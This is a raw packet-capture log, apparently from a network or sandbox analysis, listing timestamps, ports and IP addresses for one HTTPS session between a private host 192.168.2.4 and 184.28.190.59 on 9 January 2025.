Jan 9, 2025 14:41:13.824234962 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.824270010 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.824317932 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.824348927 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.824383020 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.824532032 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.827135086 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.827167988 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.827241898 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.827274084 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.827368021 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.827399969 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.827438116 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.827472925 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.827522993 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.827555895 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.827588081 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.831746101 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.831803083 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.831901073 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.831933022 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.831965923 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.832014084 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.832047939 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.832081079 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.832113028 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.832148075 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.832473040 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.835459948 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.835489988 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.835634947 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.835716963 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.871124029 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.972434044 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.972448111 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.985532045 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.985572100 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.985652924 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.985687017 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.985718966 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.985774040 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.985826015 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.985861063 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.985892057 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.985925913 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.986236095 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.001715899 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.099272966 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.106399059 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.106637955 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.106692076 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.106717110 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.106750011 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.106782913 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.106817961 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.106913090 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.106961966 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.106997013 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.107024908 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.107059002 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.109639883 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.116666079 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.116666079 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.144171953 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.229702950 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.241885900 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.248869896 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.249192953 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.249281883 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.249330997 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.249476910 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.249541998 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.249686003 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.249870062 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.249891996 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.249938965 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.249963999 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.250040054 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.250117064 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.250164032 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.250396013 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.250406981 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.250423908 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.250433922 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.250443935 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.250454903 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.252715111 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.252940893 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.253201008 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.253212929 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.253288984 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.253299952 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.253310919 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.253321886 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.253331900 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.253345966 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.255563974 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.256063938 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.256077051 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.256088018 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.256093979 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.256134033 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.256190062 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.256201029 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.256211042 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.256227016 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.256238937 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.257006884 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.257827044 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.259337902 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.259351969 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.259362936 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.259387970 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.259398937 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.259411097 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.259421110 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.259485006 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.259505033 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.259529114 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.262782097 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.262803078 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.262854099 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.262866020 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.262931108 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.262940884 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.262952089 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.262963057 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.262974024 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.262985945 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.267280102 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.267292976 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.267306089 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.267395973 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.267488956 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.267499924 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.267509937 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.267519951 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.267530918 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.267540932 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.269973040 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.270097971 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.271707058 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.271903038 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.271935940 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.272037029 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.272053003 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.272063971 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.272074938 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.272089005 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.272099972 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.272149086 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.272161961 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.272604942 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.274163961 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.274228096 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.274348021 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.274400949 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.274413109 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.274425030 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.274436951 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.274554968 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.274565935 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.274578094 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.277239084 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.277257919 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.278052092 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.278342009 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.371957064 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.377765894 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.472834110 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.480128050 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.480349064 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.480397940 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.480421066 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.480437040 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.480451107 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.480464935 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.481122017 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.493825912 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.589180946 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.599025011 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.599143028 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.599219084 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.599229097 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.599239111 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.599294901 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.601864100 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.631186962 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.633143902 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.729134083 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.729151964 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.735259056 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.735497952 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.735527992 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.736004114 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.736020088 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.736049891 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.736064911 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.736082077 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.736095905 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.736109972 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.737008095 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.761596918 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.781141043 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.856144905 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.877362013 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.881222010 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.881635904 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.881781101 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.881932974 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.882080078 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.882097006 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.882113934 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.882249117 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.882266998 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.882392883 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.882410049 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.882426023 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.882441998 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.882458925 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.882476091 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.882493973 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.882539988 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.882553101 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:14.883338928 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:14.891333103 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.002795935 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.010659933 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.042433023 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.044337034 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.050400972 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.157510042 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.160423040 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.160449982 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.160501003 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.160525084 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.160620928 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.160634041 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.160653114 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.160671949 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.160685062 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.160746098 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.160759926 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.160769939 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.160784006 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.160947084 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.191822052 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.238645077 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.279638052 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.341893911 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.363830090 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.364176989 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.364213943 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.364224911 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.364293098 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.364340067 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.364396095 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.364408016 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.364510059 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.364521980 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.364546061 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.364557981 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.364572048 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.364583015 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.364597082 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.364732027 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.364743948 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.364757061 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.364768982 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.364783049 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.365258932 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.367778063 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.367830038 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.367842913 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.367857933 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.367867947 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.368227959 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.396161079 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.460246086 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.491720915 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.555603981 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.562385082 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.562706947 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.562815905 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.563155890 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.563237906 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.563529968 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.563544989 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.563561916 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.563576937 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.563596964 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.563611984 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.563627005 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.563642025 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.563657045 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.563672066 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.563687086 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.563702106 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.563714981 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.564122915 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.564122915 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.564174891 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.599337101 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.689213991 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.696873903 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.703238010 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.703411102 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.703537941 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.703572989 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.703598022 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.703608036 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.703641891 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.703694105 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:15.704005003 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.704005957 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:15.826184988 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:18.880666018 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:18.976033926 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:18.982624054 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:18.982677937 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:18.982727051 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:18.983340979 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:18.989267111 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:19.146136999 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:19.169222116 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.189476967 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.189538002 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.189553976 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.189898968 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:19.199341059 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:19.244369984 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.291527987 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.307586908 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.316737890 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.316750050 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.316760063 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.318557978 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:19.330799103 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:19.444477081 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:19.445789099 CET	443	54056	184.28.190.59	192.168.2.4
